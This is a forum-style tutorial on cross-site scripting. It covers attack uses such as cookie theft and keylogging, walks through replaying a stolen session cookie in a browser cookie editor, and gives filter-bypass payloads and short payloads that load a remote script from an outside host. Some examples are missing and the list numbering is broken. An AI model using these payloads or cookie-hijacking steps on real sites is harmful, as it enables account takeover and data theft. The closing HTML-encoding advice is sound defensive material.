ROBOT.LK

Strictly For Educational Purposes

Cross Site Scripting, also known as XSS is a type of vulnerability which allows for client-sided JavaScript execution. XSS can be exploited in a variety of ways, such as stealing cookies and other information to be used in different scenarios. XSS vulnerabilities are made possible by the coder of the web application or script in question not sanitizing the user input correctly and printing out the injected JavaScript straight to the page.

The most common way to identify an XSS Exploit would be to use the Alert test. Anyone with a basic knowledge of JavaScript will know what this is. This test will make an alert box, or message box, pop up on the screen. This is done by executing the JavaScript function Alert(). Of course these tests aren’t the bests of ideas, owners of sites tend to notice pretty quickly when a message box pops up when it’s not supposed to be. Another method would be “document.write” Assuming that there is an XSS exploit found, there are also many ways that an attacker may use this exploit to attack the site.

2. Cookie Stealing – Steal another user’s cookie in order to gain access to their account (including an admin cookie).
   
3. Keylogging – Often overlooked in this exploit, it allows the attacker to log all the keystrokes made by a user on the page where the XSS is (Login pages, private message pages, etc...).
   
4. XSS Worms – Just like any worm, it is a malicious script that spreads across the site from the vulnerable point.
   
5. Portal Forwarding – This script opens an iframe to execute an exploit or opens a malicious download on a legit website.
   
6. Cross-Site Request Forgery – Used to make a user of the site send a request to the server without actually doing it/knowing it.

I remember cookie logging being the most common way. All that was really needed was setting up a cookie logging site, basic JavaScript knowledge, and the Firefox Addon Cookie Editor.

Example of how a cookie logger might be used on a vulnerable site: Then the administrator will log on and the cookie will be logged once he accesses the vulnerable page. Then that cookie can be edited and added to log in as that user of which the cookie was stolen from. The Firefox cookie editor Addon allows the user to add the data and content for all of the cookies collected via the cookie logger, then the attacker can browse the site to check if he/she is logged in.

1. Open Firefox.
2. Click on Tools in the menu bar.
3. Click on Cookie Editor.
4. Click on Add.
5. In name, add the name of that cookie, (the part before the =)
6. In content, add the value.
7. In host, add .site.com, unless its a sub domain or otherwise stated, (the dot in front of the domain name is important).
8. In path, write /, unless you have the exact path where you want the cookie to be active.

Repeat the process until every cookie has been added.

Of course, with every exploitation there’s always a way to prevent it…and then another way to bypass that. Web Administrators have different ways in protecting their sites, though.

Examples:

1. Tag Removal
   Input:

   Code: Select all

   <script>alert('XSS')</script>

   Output:

   Code: Select all

   alert('XSS')

   Input (bypass):

   Code: Select all

   <scr<script>ipt>alert('XSS')</scr</script>ipt>

   Output (removed tags and echo what’s left):

   Code: Select all

   <script>alert('XSS')</script>

2. Magic_Quotes (Hah, I’m watching Magician Secrets Revealed while typing this)
   
   Input:

   Code: Select all

   <script>alert('XSS')</script>

   Output:

   Code: Select all

   <script>alert(\'alert\')</script>

Since this JavaScript isn’t correctly formatted (’ and “) it won’t execute. So, the attacker could just use JavaScript’s built in function to encode/decode strings: When using integral values, you don’t need the quotes. Now what if the target site has both filters? Well, then the attacker would have to use both bypass methods, combined.

Input: Output: Some index pages don’t allow you to input a large number of characters, so you’d have to use shorter scripts:

• Foreign Scripts

  Code: Select all

  <script src='http://site.com/x.js'></script>

• <img src=> tag

  Code: Select all

  <img src='http://site.com/x.js'></img>

• If the attacker’s website name is way too long, he/she may use its IP address instead.
  Although, there are many ways to prevent XSS exploitation, the most preferred way would be HTML encoding. In PHP for example, you simply pass your string through the htmlentities() function, and it will convert your string to the HTML coded values. In Perl you would use this method of encoding:

  Code: Select all

  $a = "pie"
  
  use HTML::Entities ();
  $encoded = HTML::Entities::encode($a);